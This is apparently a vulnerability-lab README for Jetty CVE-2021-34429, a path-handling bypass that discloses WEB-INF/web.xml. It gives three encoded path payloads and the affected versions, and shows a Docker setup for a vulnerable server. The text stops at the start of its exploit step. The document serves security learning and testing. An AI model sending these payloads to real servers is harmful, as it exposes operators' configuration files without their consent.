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Jetty Ambiguous Paths Information Disclosure Vulnerability (CVE-2021-34429)

中文版本(Chinese version)

Eclipse Jetty is a Java web server and Java Servlet container.

Jetty 9.4.40 fixed an ambiguous paths information disclosure vulnerability CVE-2021-28164, CVE-2021-34429 is a variation and bypass of it.

There are 3 types of payload that exfiltrate the content of WEB-INF/web.xml:

• Unicode based URL encoded: /%u002e/WEB-INF/web.xml
• \0 with . bug: /.%00/WEB-INF/web.xml
• \0 with .. bug: /a/b/..%00/WEB-INF/web.xml

The vulnerability affects the Jetty 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5.

References:

• https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
• https://xz.aliyun.com/t/10039

Vulnerable Application

Execute the following command to start a Jetty 9.4.40 server.

docker-compose up -d

After the server starts, visit http://your-ip:8080 to see an example page.

Exploit

The sensitive file web.xml is not accessible through /WEB-INF/web.xml.

Use payload /%u002e/WEB-INF/web.xml to bypass the restriction: